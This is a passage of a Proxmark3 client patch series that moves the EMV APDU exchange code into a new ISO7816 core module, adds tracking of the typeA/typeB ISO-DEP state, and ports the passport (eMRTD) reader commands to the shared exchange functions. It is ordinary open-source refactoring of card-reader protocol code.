EMVAC(EMVCommandChannel channel, bool LeaveFieldON, uint8_t RefControl, uint8_t *CDOL, size_t CDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv); +int EMVGenerateChallenge(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv); +int EMVAC(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t RefControl, uint8_t *CDOL, size_t CDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv); // DDA -int EMVInternalAuthenticate(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *DDOL, size_t DDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv); +int EMVInternalAuthenticate(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t *DDOL, size_t DDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv); // Mastercard -int MSCComputeCryptoChecksum(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *UDOL, uint8_t UDOLlen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv); +int MSCComputeCryptoChecksum(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t *UDOL, uint8_t UDOLlen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv); // Auth int trSDA(struct tlvdb *tlv); -int trDDA(EMVCommandChannel channel, bool decodeTLV, struct tlvdb *tlv); +int trDDA(Iso7816CommandChannel channel, bool decodeTLV, struct tlvdb *tlv); int trCDA(struct tlvdb *tlv, struct tlvdb *ac_tlv, struct tlv *pdol_data_tlv, struct tlv *ac_data_tlv); int RecoveryCertificates(struct tlvdb *tlvRoot, json_t *root); struct emv_pk *get_ca_pk(struct tlvdb *db); #endif - - - - diff --git a/client/src/fido/fidocore.c b/client/src/fido/fidocore.c index 32aed2f19..1529d9172 100644 --- a/client/src/fido/fidocore.c +++ b/client/src/fido/fidocore.c @@ -14,7 +14,7 @@ #include "commonutil.h" // ARRAYLEN -#include "emv/emvcore.h" +#include "iso7816/iso7816core.h" #include "emv/emvjson.h" #include "cbortools.h" #include "x509_crt.h" @@ -172,17 +172,17 @@ const char *fido2GetCmdMemberDescription(uint8_t cmdCode, bool isResponse, int m int FIDOSelect(bool ActivateField, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { uint8_t data[] = {0xA0, 0x00, 0x00, 0x06, 0x47, 0x2F, 0x00, 0x01}; - return EMVSelect(ECC_CONTACTLESS, ActivateField, LeaveFieldON, data, sizeof(data), Result, MaxResultLen, ResultLen, sw, NULL); + return Iso7816Select(CC_CONTACTLESS, ActivateField, LeaveFieldON, data, sizeof(data), Result, MaxResultLen, ResultLen, sw); } int FIDOExchange(sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { - int res = EMVExchange(ECC_CONTACTLESS, true, apdu, Result, MaxResultLen, ResultLen, sw, NULL); + int res = Iso7816Exchange(CC_CONTACTLESS, true, apdu, Result, MaxResultLen, ResultLen, sw); if (res == 5) // apdu result (sw) not a 0x9000 res = 0; // software chaining while (!res && (*sw >> 8) == 0x61) { size_t oldlen = *ResultLen; - res = EMVExchange(ECC_CONTACTLESS, true, (sAPDU) {0x00, 0xC0, 0x00, 0x00, 0x00, NULL}, &Result[oldlen], MaxResultLen - oldlen, ResultLen, sw, NULL); + res = Iso7816Exchange(CC_CONTACTLESS, true, (sAPDU) {0x00, 0xC0, 0x00, 0x00, 0x00, NULL}, &Result[oldlen], MaxResultLen - oldlen, ResultLen, sw); if (res == 5) // apdu result (sw) not a 0x9000 res = 0; diff --git a/client/src/fido/fidocore.h b/client/src/fido/fidocore.h index 56c563120..9aac31cf6 100644 --- a/client/src/fido/fidocore.h +++ b/client/src/fido/fidocore.h @@ -15,7 +15,7 @@ #include "common.h" #include -#include "emv/apduinfo.h" // sAPDU +#include "iso7816/apduinfo.h" // sAPDU typedef enum { fido2CmdMakeCredential = 0x01, diff --git a/client/src/emv/apduinfo.c b/client/src/iso7816/apduinfo.c similarity index 100% rename from client/src/emv/apduinfo.c rename to client/src/iso7816/apduinfo.c diff --git a/client/src/emv/apduinfo.h b/client/src/iso7816/apduinfo.h similarity index 100% rename from client/src/emv/apduinfo.h rename to client/src/iso7816/apduinfo.h diff --git a/client/src/iso7816/iso7816core.c b/client/src/iso7816/iso7816core.c new file mode 100644 index 000000000..72166ac90 --- /dev/null +++ b/client/src/iso7816/iso7816core.c @@ -0,0 +1,108 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2017 Merlok +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// ISO7816 core functions +//----------------------------------------------------------------------------- + +#include "iso7816core.h" + +#include + +#include "commonutil.h" // ARRAYLEN +#include "comms.h" // DropField +#include "cmdparser.h" +#include "cmdsmartcard.h" // ExchangeAPDUSC +#include "ui.h" +#include "cmdhf14a.h" +#include "cmdhf14b.h" +#include "util_posix.h" + +//iceman: this logging setting, should be unified with client debug etc. +static bool APDULogging = false; +void SetAPDULogging(bool logging) { + APDULogging = logging; +} + +bool GetAPDULogging(void) { + return APDULogging; +} + +int Iso7816ExchangeEx(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool IncludeLe, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + uint8_t data[APDU_RES_LEN] = {0}; + + *ResultLen = 0; + if (sw) *sw = 0; + uint16_t isw = 0; + int res = 0; + + if (ActivateField) { + DropFieldEx(channel); + msleep(50); + } + + // COMPUTE APDU + int datalen = 0; + if (APDUEncodeS(&apdu, false, IncludeLe ? 0x100 : 0x00, data, &datalen)) { + PrintAndLogEx(ERR, "APDU encoding error."); + return 201; + } + + if (APDULogging) + PrintAndLogEx(SUCCESS, ">>>> %s", sprint_hex(data, datalen)); + + switch (channel) { + case CC_CONTACTLESS: + res = ExchangeAPDU14a(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen); + if (res != PM3_SUCCESS) { + res = exchange_14b_apdu(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen, 4000); + if (res != PM3_SUCCESS) + return res; + } + break; + case CC_CONTACT: + res = 1; + if (IfPm3Smartcard()) + res = ExchangeAPDUSC(false, data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen); + + if (res) { + return res; + } + break; + } + + if (APDULogging) + PrintAndLogEx(SUCCESS, "<<<< %s", sprint_hex(Result, *ResultLen)); + + if (*ResultLen < 2) { + return 200; + } + + *ResultLen -= 2; + isw = Result[*ResultLen] * 0x0100 + Result[*ResultLen + 1]; + if (sw) + *sw = isw; + + if (isw != 0x9000) { + if (APDULogging) { + if (*sw >> 8 == 0x61) { + PrintAndLogEx(ERR, "APDU chaining len:%02x -->", *sw & 0xff); + } else { + PrintAndLogEx(ERR, "APDU(%02x%02x) ERROR: [%4X] %s", apdu.CLA, apdu.INS, isw, GetAPDUCodeDescription(*sw >> 8, *sw & 0xff)); + return 5; + } + } + } + return PM3_SUCCESS; +} + +int Iso7816Exchange(Iso7816CommandChannel channel, bool LeaveFieldON, sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + return Iso7816ExchangeEx(channel, false, LeaveFieldON, apdu, false, Result, MaxResultLen, ResultLen, sw); +} + +int Iso7816Select(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + return Iso7816ExchangeEx(channel, ActivateField, LeaveFieldON, (sAPDU) {0x00, 0xa4, 0x04, 0x00, AIDLen, AID}, (channel == CC_CONTACTLESS), Result, MaxResultLen, ResultLen, sw); +} diff --git a/client/src/iso7816/iso7816core.h b/client/src/iso7816/iso7816core.h new file mode 100644 index 000000000..dc0ed78f7 --- /dev/null +++ b/client/src/iso7816/iso7816core.h @@ -0,0 +1,37 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2017 Merlok +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// ISO7816 core functionality +//----------------------------------------------------------------------------- + +#ifndef ISO7816CORE_H__ +#define ISO7816CORE_H__ + +#include "common.h" + +#include + +#include "apduinfo.h" + +#define APDU_RES_LEN 260 +#define APDU_AID_LEN 50 + +typedef enum { + CC_CONTACTLESS, + CC_CONTACT +} Iso7816CommandChannel; + +void SetAPDULogging(bool logging); +bool GetAPDULogging(void); + +// exchange +int Iso7816Exchange(Iso7816CommandChannel channel, bool LeaveFieldON, sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); +int Iso7816ExchangeEx(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool IncludeLe, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); + +// search application +int Iso7816Select(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); +#endif From 56daa155b505fb152b9e68ac31ec6f535ae97cbf Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sun, 30 May 2021 22:31:56 +0200 Subject: [PATCH 10/77] Iso7816Exchange: avoid sending systematically typeA APDUs firstly on typeB tags --- client/src/cmdhf14b.c | 1 + client/src/cmdhfcryptorf.c | 2 +- client/src/cmdhflto.c | 1 + client/src/cmdhftopaz.c | 1 + client/src/comms.h | 3 ++- client/src/iso7816/iso7816core.c | 33 ++++++++++++++++++++++++++++---- client/src/iso7816/iso7816core.h | 9 +++++++++ 7 files changed, 44 insertions(+), 6 deletions(-) diff --git a/client/src/cmdhf14b.c b/client/src/cmdhf14b.c index d85c26e83..0d06abb03 100644 --- a/client/src/cmdhf14b.c +++ b/client/src/cmdhf14b.c @@ -42,6 +42,7 @@ bool apdu_in_framing_enable = true; static int CmdHelp(const char *Cmd); static int switch_off_field_14b(void) { + SetISODEPState(ISODEP_INACTIVE); iso14b_raw_cmd_t packet = { .flags = ISO14B_DISCONNECT, .timeout = 0, diff --git a/client/src/cmdhfcryptorf.c b/client/src/cmdhfcryptorf.c index c991ef561..bbfb00c0e 100644 --- a/client/src/cmdhfcryptorf.c +++ b/client/src/cmdhfcryptorf.c @@ -17,7 +17,6 @@ #include "comms.h" // clearCommandBuffer #include "cmdtrace.h" #include "crc16.h" -#include "cmdhf14a.h" #include "protocols.h" // definitions of ISO14B protocol #include "iso14b.h" #include "cliparser.h" // cliparsing @@ -36,6 +35,7 @@ static void set_last_known_card(iso14b_card_select_t card) { } static int switch_off_field_cryptorf(void) { + SetISODEPState(ISODEP_INACTIVE); iso14b_raw_cmd_t packet = { .flags = ISO14B_DISCONNECT, .timeout = 0, diff --git a/client/src/cmdhflto.c b/client/src/cmdhflto.c index 2ed540fd0..2ea818b0b 100644 --- a/client/src/cmdhflto.c +++ b/client/src/cmdhflto.c @@ -94,6 +94,7 @@ static const char *get_page_name(uint16_t pageid) { static int CmdHelp(const char *Cmd); static void lto_switch_off_field(void) { + SetISODEPState(ISODEP_INACTIVE); SendCommandMIX(CMD_HF_ISO14443A_READER, 0, 0, 0, NULL, 0); } diff --git a/client/src/cmdhftopaz.c b/client/src/cmdhftopaz.c index 4f986c212..45724ac5d 100644 --- a/client/src/cmdhftopaz.c +++ b/client/src/cmdhftopaz.c @@ -49,6 +49,7 @@ static void topaz_switch_on_field(void) { } static void topaz_switch_off_field(void) { + SetISODEPState(ISODEP_INACTIVE); SendCommandMIX(CMD_HF_ISO14443A_READER, 0, 0, 0, NULL, 0); } diff --git a/client/src/comms.h b/client/src/comms.h index 1579c017f..ce038a2e2 100644 --- a/client/src/comms.h +++ b/client/src/comms.h @@ -15,13 +15,14 @@ #include "common.h" #include "pm3_cmd.h" // Packet structs #include "util.h" // FILE_PATH_SIZE +#include "iso7816/iso7816core.h" // SetISODEPState #ifdef __cplusplus extern "C" { #endif #ifndef DropField -#define DropField() { clearCommandBuffer(); SendCommandNG(CMD_HF_DROPFIELD, NULL, 0); } +#define DropField() { clearCommandBuffer(); SetISODEPState(ISODEP_INACTIVE); SendCommandNG(CMD_HF_DROPFIELD, NULL, 0); } #endif #ifndef DropFieldEx diff --git a/client/src/iso7816/iso7816core.c b/client/src/iso7816/iso7816core.c index 72166ac90..4b1ddf450 100644 --- a/client/src/iso7816/iso7816core.c +++ b/client/src/iso7816/iso7816core.c @@ -31,6 +31,16 @@ bool GetAPDULogging(void) { return APDULogging; } +static isodep_state_t isodep_state = ISODEP_INACTIVE; + +void SetISODEPState(isodep_state_t state) { + isodep_state = state; +} + +isodep_state_t GetISODEPState(void) { + return isodep_state; +} + int Iso7816ExchangeEx(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool IncludeLe, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { uint8_t data[APDU_RES_LEN] = {0}; @@ -56,11 +66,26 @@ int Iso7816ExchangeEx(Iso7816CommandChannel channel, bool ActivateField, bool Le switch (channel) { case CC_CONTACTLESS: - res = ExchangeAPDU14a(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen); + switch (GetISODEPState()) { + case ISODEP_NFCA: + res = ExchangeAPDU14a(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen); + break; + case ISODEP_NFCB: + res = exchange_14b_apdu(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen, 4000); + break; + case ISODEP_INACTIVE: + if (! ActivateField) { + PrintAndLogEx(FAILED, "Field currently inactive, cannot send an APDU"); + return PM3_EIO; + } + res = ExchangeAPDU14a(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen); + if (res != PM3_SUCCESS) { + res = exchange_14b_apdu(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen, 4000); + } + break; + } if (res != PM3_SUCCESS) { - res = exchange_14b_apdu(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen, 4000); - if (res != PM3_SUCCESS) - return res; + return res; } break; case CC_CONTACT: diff --git a/client/src/iso7816/iso7816core.h b/client/src/iso7816/iso7816core.h index dc0ed78f7..beff9cd9b 100644 --- a/client/src/iso7816/iso7816core.h +++ b/client/src/iso7816/iso7816core.h @@ -20,6 +20,12 @@ #define APDU_RES_LEN 260 #define APDU_AID_LEN 50 +typedef enum { + ISODEP_INACTIVE = 0, + ISODEP_NFCA, + ISODEP_NFCB, +} isodep_state_t; + typedef enum { CC_CONTACTLESS, CC_CONTACT @@ -28,6 +34,9 @@ typedef enum { void SetAPDULogging(bool logging); bool GetAPDULogging(void); +void SetISODEPState(isodep_state_t state); +isodep_state_t GetISODEPState(void); + // exchange int Iso7816Exchange(Iso7816CommandChannel channel, bool LeaveFieldON, sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); int Iso7816ExchangeEx(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool IncludeLe, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); From 61d5a87c4fa1413f21d52ee361f1250998888c4e Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Mon, 31 May 2021 09:30:44 +0200 Subject: [PATCH 11/77] Use Iso7816ExchangeEx in eMRTD --- client/src/cmdhf14b.c | 2 +- client/src/cmdhfemrtd.c | 330 ++++++++++++------------------- client/src/cmdhfemrtd.h | 2 +- client/src/emv/emvcore.c | 2 +- client/src/iso7816/iso7816core.c | 59 +++++- client/src/iso7816/iso7816core.h | 5 +- 6 files changed, 193 insertions(+), 207 deletions(-) diff --git a/client/src/cmdhf14b.c b/client/src/cmdhf14b.c index 0d06abb03..8575472af 100644 --- a/client/src/cmdhf14b.c +++ b/client/src/cmdhf14b.c @@ -1680,7 +1680,7 @@ static int handle_14b_apdu(bool chainingin, uint8_t *datain, int datainlen, *dataoutlen += dlen; if (maxdataoutlen && *dataoutlen > maxdataoutlen) { - PrintAndLogEx(ERR, "APDU: buffer too small(%d), needs %d bytes", *dataoutlen, maxdataoutlen); + PrintAndLogEx(ERR, "APDU: buffer too small(%d), needs %d bytes", maxdataoutlen, *dataoutlen); return PM3_ESOFT; } diff --git a/client/src/cmdhfemrtd.c b/client/src/cmdhfemrtd.c index a512ac041..e9c794645 100644 --- a/client/src/cmdhfemrtd.c +++ b/client/src/cmdhfemrtd.c @@ -16,14 +16,12 @@ #include "cmdparser.h" // command_t #include "cmdtrace.h" // CmdTraceList #include "cliparser.h" // CLIParserContext etc -#include "cmdhf14a.h" // ExchangeAPDU14a #include "protocols.h" // definitions of ISO14A/7816 protocol -#include "iso7816/apduinfo.h" // GetAPDUCodeDescription +#include "iso7816/apduinfo.h" // GetAPDUCodeDescription +#include "iso7816/iso7816core.h" // Iso7816ExchangeEx etc #include "crypto/libpcrypto.h" // Hash calculation (sha1, sha256, sha512) #include "mifare/desfire_crypto.h" // des_encrypt/des_decrypt #include "des.h" // mbedtls_des_key_set_parity -#include "cmdhf14b.h" // exchange_14b_apdu -#include "iso14b.h" // ISO14B_CONNECT etc #include "crapto1/crapto1.h" // prng_successor #include "commonutil.h" // num_to_bytes #include "util_posix.h" // msclock @@ -35,16 +33,16 @@ #define EMRTD_MAX_FILE_SIZE 35000 // ISO7816 commands -#define EMRTD_SELECT "A4" -#define EMRTD_EXTERNAL_AUTHENTICATE "82" -#define EMRTD_GET_CHALLENGE "84" -#define EMRTD_READ_BINARY "B0" -#define EMRTD_P1_SELECT_BY_EF "02" -#define EMRTD_P1_SELECT_BY_NAME "04" -#define EMRTD_P2_PROPRIETARY "0C" +#define EMRTD_SELECT 0xA4 +#define EMRTD_EXTERNAL_AUTHENTICATE 0x82 +#define EMRTD_GET_CHALLENGE 0x84 +#define EMRTD_READ_BINARY 0xB0 +#define EMRTD_P1_SELECT_BY_EF 0x02 +#define EMRTD_P1_SELECT_BY_NAME 0x04 +#define EMRTD_P2_PROPRIETARY 0x0C // App IDs -#define EMRTD_AID_MRTD "A0000002471001" +#define EMRTD_AID_MRTD {0xA0, 0x00, 0x00, 0x02, 0x47, 0x10, 0x01} // DESKey Types const uint8_t KENC_type[4] = {0x00, 0x00, 0x00, 0x01}; @@ -85,27 +83,27 @@ typedef enum { // list must match dg_table static emrtd_dg_t dg_table[] = { // tag dg# fileid filename desc pace eac req fast parser dumper - {0x60, 0, "011E", "EF_COM", "Header and Data Group Presence Information", false, false, true, true, emrtd_print_ef_com_info, NULL}, - {0x61, 1, "0101", "EF_DG1", "Details recorded in MRZ", false, false, true, true, emrtd_print_ef_dg1_info, NULL}, - {0x75, 2, "0102", "EF_DG2", "Encoded Face", false, false, true, false, NULL, emrtd_dump_ef_dg2}, - {0x63, 3, "0103", "EF_DG3", "Encoded Finger(s)", false, true, false, false, NULL, NULL}, - {0x76, 4, "0104", "EF_DG4", "Encoded Eye(s)", false, true, false, false, NULL, NULL}, - {0x65, 5, "0105", "EF_DG5", "Displayed Portrait", false, false, false, false, NULL, emrtd_dump_ef_dg5}, - {0x66, 6, "0106", "EF_DG6", "Reserved for Future Use", false, false, false, false, NULL, NULL}, - {0x67, 7, "0107", "EF_DG7", "Displayed Signature or Usual Mark", false, false, false, false, NULL, emrtd_dump_ef_dg7}, - {0x68, 8, "0108", "EF_DG8", "Data Feature(s)", false, false, false, true, NULL, NULL}, - {0x69, 9, "0109", "EF_DG9", "Structure Feature(s)", false, false, false, true, NULL, NULL}, - {0x6a, 10, "010A", "EF_DG10", "Substance Feature(s)", false, false, false, true, NULL, NULL}, - {0x6b, 11, "010B", "EF_DG11", "Additional Personal Detail(s)", false, false, false, true, emrtd_print_ef_dg11_info, NULL}, - {0x6c, 12, "010C", "EF_DG12", "Additional Document Detail(s)", false, false, false, true, emrtd_print_ef_dg12_info, NULL}, - {0x6d, 13, "010D", "EF_DG13", "Optional Detail(s)", false, false, false, true, NULL, NULL}, - {0x6e, 14, "010E", "EF_DG14", "Security Options", false, false, false, true, NULL, NULL}, - {0x6f, 15, "010F", "EF_DG15", "Active Authentication Public Key Info", false, false, false, true, NULL, NULL}, - {0x70, 16, "0110", "EF_DG16", "Person(s) to Notify", false, false, false, true, NULL, NULL}, - {0x77, 0, "011D", "EF_SOD", "Document Security Object", false, false, false, false, NULL, emrtd_dump_ef_sod}, - {0xff, 0, "011C", "EF_CardAccess", "PACE SecurityInfos", true, false, true, true, emrtd_print_ef_cardaccess_info, NULL}, - {0xff, 0, "011D", "EF_CardSecurity", "PACE SecurityInfos for Chip Authentication Mapping", true, false, false, true, NULL, NULL}, - {0x00, 0, NULL, NULL, NULL, false, false, false, false, NULL, NULL} + {0x60, 0, 0x011E, "EF_COM", "Header and Data Group Presence Information", false, false, true, true, emrtd_print_ef_com_info, NULL}, + {0x61, 1, 0x0101, "EF_DG1", "Details recorded in MRZ", false, false, true, true, emrtd_print_ef_dg1_info, NULL}, + {0x75, 2, 0x0102, "EF_DG2", "Encoded Face", false, false, true, false, NULL, emrtd_dump_ef_dg2}, + {0x63, 3, 0x0103, "EF_DG3", "Encoded Finger(s)", false, true, false, false, NULL, NULL}, + {0x76, 4, 0x0104, "EF_DG4", "Encoded Eye(s)", false, true, false, false, NULL, NULL}, + {0x65, 5, 0x0105, "EF_DG5", "Displayed Portrait", false, false, false, false, NULL, emrtd_dump_ef_dg5}, + {0x66, 6, 0x0106, "EF_DG6", "Reserved for Future Use", false, false, false, false, NULL, NULL}, + {0x67, 7, 0x0107, "EF_DG7", "Displayed Signature or Usual Mark", false, false, false, false, NULL, emrtd_dump_ef_dg7}, + {0x68, 8, 0x0108, "EF_DG8", "Data Feature(s)", false, false, false, true, NULL, NULL}, + {0x69, 9, 0x0109, "EF_DG9", "Structure Feature(s)", false, false, false, true, NULL, NULL}, + {0x6a, 10, 0x010A, "EF_DG10", "Substance Feature(s)", false, false, false, true, NULL, NULL}, + {0x6b, 11, 0x010B, "EF_DG11", "Additional Personal Detail(s)", false, false, false, true, emrtd_print_ef_dg11_info, NULL}, + {0x6c, 12, 0x010C, "EF_DG12", "Additional Document Detail(s)", false, false, false, true, emrtd_print_ef_dg12_info, NULL}, + {0x6d, 13, 0x010D, "EF_DG13", "Optional Detail(s)", false, false, false, true, NULL, NULL}, + {0x6e, 14, 0x010E, "EF_DG14", "Security Options", false, false, false, true, NULL, NULL}, + {0x6f, 15, 0x010F, "EF_DG15", "Active Authentication Public Key Info", false, false, false, true, NULL, NULL}, + {0x70, 16, 0x0110, "EF_DG16", "Person(s) to Notify", false, false, false, true, NULL, NULL}, + {0x77, 0, 0x011D, "EF_SOD", "Document Security Object", false, false, false, false, NULL, emrtd_dump_ef_sod}, + {0xff, 0, 0x011C, "EF_CardAccess", "PACE SecurityInfos", true, false, true, true, emrtd_print_ef_cardaccess_info, NULL}, + {0xff, 0, 0x011D, "EF_CardSecurity", "PACE SecurityInfos for Chip Authentication Mapping", true, false, false, true, NULL, NULL}, + {0x00, 0, 0, NULL, NULL, false, false, false, false, NULL, NULL} }; // https://security.stackexchange.com/questions/131241/where-do-magic-constants-for-signature-algorithms-come-from @@ -166,9 +164,9 @@ static emrtd_dg_t *emrtd_tag_to_dg(uint8_t tag) { } return NULL; } -static emrtd_dg_t *emrtd_fileid_to_dg(const char *file_id) { +static emrtd_dg_t *emrtd_fileid_to_dg(uint16_t file_id) { for (int dgi = 0; dg_table[dgi].filename != NULL; dgi++) { - if (strcmp(dg_table[dgi].fileid, file_id) == 0) { + if (dg_table[dgi].fileid == file_id) { return &dg_table[dgi]; } } @@ -177,57 +175,26 @@ static emrtd_dg_t *emrtd_fileid_to_dg(const char *file_id) { static int CmdHelp(const char *Cmd); -static uint16_t get_sw(uint8_t *d, uint8_t n) { - if (n < 2) - return 0; +static bool emrtd_exchange_commands(sAPDU apdu, bool include_le, uint16_t le, uint8_t *dataout, size_t maxdataoutlen, size_t *dataoutlen, bool activate_field, bool keep_field_on) { + uint16_t sw; + int res = Iso7816ExchangeEx(CC_CONTACTLESS, activate_field, keep_field_on, apdu, include_le, le, dataout, maxdataoutlen, dataoutlen, &sw); - n -= 2; - return d[n] * 0x0100 + d[n + 1]; -} - -static bool emrtd_exchange_commands(const char *cmd, uint8_t *dataout, int *dataoutlen, bool activate_field, bool keep_field_on, bool use_14b) { - uint8_t response[PM3_CMD_DATA_SIZE]; - int resplen = 0; - - PrintAndLogEx(DEBUG, "Sending: %s", cmd); - - uint8_t aCMD[PM3_CMD_DATA_SIZE]; - int aCMD_n = 0; - param_gethex_to_eol(cmd, 0, aCMD, sizeof(aCMD), &aCMD_n); - int res; - if (use_14b) { - // need to add a long timeout for passports with activated anti-bruteforce measure - res = exchange_14b_apdu(aCMD, aCMD_n, activate_field, keep_field_on, response, sizeof(response), &resplen, 4000); - } else { - res = ExchangeAPDU14a(aCMD, aCMD_n, activate_field, keep_field_on, response, sizeof(response), &resplen); - } if (res != PM3_SUCCESS) { - DropField(); return false; } - if (resplen < 2) { - return false; - } - PrintAndLogEx(DEBUG, "Response: %s", sprint_hex(response, resplen)); - - // drop sw - memcpy(dataout, &response, resplen - 2); - *dataoutlen = (resplen - 2); - - uint16_t sw = get_sw(response, resplen); if (sw != 0x9000) { - PrintAndLogEx(DEBUG, "Command %s failed (%04x - %s).", cmd, sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); + PrintAndLogEx(DEBUG, "Command failed (%04x - %s).", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); return false; } return true; } -static int emrtd_exchange_commands_noout(const char *cmd, bool activate_field, bool keep_field_on, bool use_14b) { +static int emrtd_exchange_commands_noout(sAPDU apdu, bool activate_field, bool keep_field_on) { uint8_t response[PM3_CMD_DATA_SIZE]; - int resplen = 0; + size_t resplen = 0; - return emrtd_exchange_commands(cmd, response, &resplen, activate_field, keep_field_on, use_14b); + return emrtd_exchange_commands(apdu, false, 0, response, 0, &resplen, activate_field, keep_field_on); } static char emrtd_calculate_check_digit(char *data) { @@ -413,33 +380,31 @@ static void emrtd_deskey(uint8_t *seed, const uint8_t *type, int length, uint8_t memcpy(dataout, &key, length); } -static int emrtd_select_file(const char *select_by, const char *file_id, bool use_14b) { - int file_id_len = strlen(file_id) / 2; - - char cmd[50]; - sprintf(cmd, "00%s%s0C%02X%s", EMRTD_SELECT, select_by, file_id_len, file_id); - - return emrtd_exchange_commands_noout(cmd, false, true, use_14b); +static void _emrtd_convert_fileid(uint16_t file, uint8_t *dataout) { + dataout[0] = file >> 8; + dataout[1] = file & 0xFF; } -static int emrtd_get_challenge(int length, uint8_t *dataout, int *dataoutlen, bool use_14b) { - char cmd[50]; - sprintf(cmd, "00%s0000%02X", EMRTD_GET_CHALLENGE, length); - - return emrtd_exchange_commands(cmd, dataout, dataoutlen, false, true, use_14b); +static int emrtd_select_file_by_name(uint8_t namelen, uint8_t *name) { + return emrtd_exchange_commands_noout((sAPDU){0, EMRTD_SELECT, EMRTD_P1_SELECT_BY_NAME, 0x0C, namelen, name}, false, true); } -static int emrtd_external_authenticate(uint8_t *data, int length, uint8_t *dataout, int *dataoutlen, bool use_14b) { - char cmd[100]; - sprintf(cmd, "00%s0000%02X%s%02X", EMRTD_EXTERNAL_AUTHENTICATE, length, sprint_hex_inrow(data, length), length); - return emrtd_exchange_commands(cmd, dataout, dataoutlen, false, true, use_14b); +static int emrtd_select_file_by_ef(uint16_t file_id) { + uint8_t data[2]; + _emrtd_convert_fileid(file_id, data); + return emrtd_exchange_commands_noout((sAPDU){0, EMRTD_SELECT, EMRTD_P1_SELECT_BY_EF, 0x0C, sizeof(data), data}, false, true); } -static int _emrtd_read_binary(int offset, int bytes_to_read, uint8_t *dataout, int *dataoutlen, bool use_14b) { - char cmd[50]; - sprintf(cmd, "00%s%04X%02X", EMRTD_READ_BINARY, offset, bytes_to_read); +static int emrtd_get_challenge(int length, uint8_t *dataout, size_t maxdataoutlen, size_t *dataoutlen) { + return emrtd_exchange_commands((sAPDU){0, EMRTD_GET_CHALLENGE, 0, 0, 0, NULL}, true, length, dataout, maxdataoutlen, dataoutlen, false, true); +} - return emrtd_exchange_commands(cmd, dataout, dataoutlen, false, true, use_14b); +static int emrtd_external_authenticate(uint8_t *data, int length, uint8_t *dataout, size_t maxdataoutlen, size_t *dataoutlen) { + return emrtd_exchange_commands((sAPDU){0, EMRTD_EXTERNAL_AUTHENTICATE, 0, 0, length, data}, true, length, dataout, maxdataoutlen, dataoutlen, false, true); +} + +static int _emrtd_read_binary(int offset, int bytes_to_read, uint8_t *dataout, size_t maxdataoutlen, size_t *dataoutlen) { + return emrtd_exchange_commands((sAPDU){0, EMRTD_READ_BINARY, offset >> 8, offset & 0xFF, 0, NULL}, true, bytes_to_read, dataout, maxdataoutlen, dataoutlen, false, true); } static void emrtd_bump_ssc(uint8_t *ssc) { @@ -490,27 +455,18 @@ static bool emrtd_check_cc(uint8_t *ssc, uint8_t *key, uint8_t *rapdu, int rapdu return memcmp(cc, rapdu + (rapdulength - 8), 8) == 0; } -static void 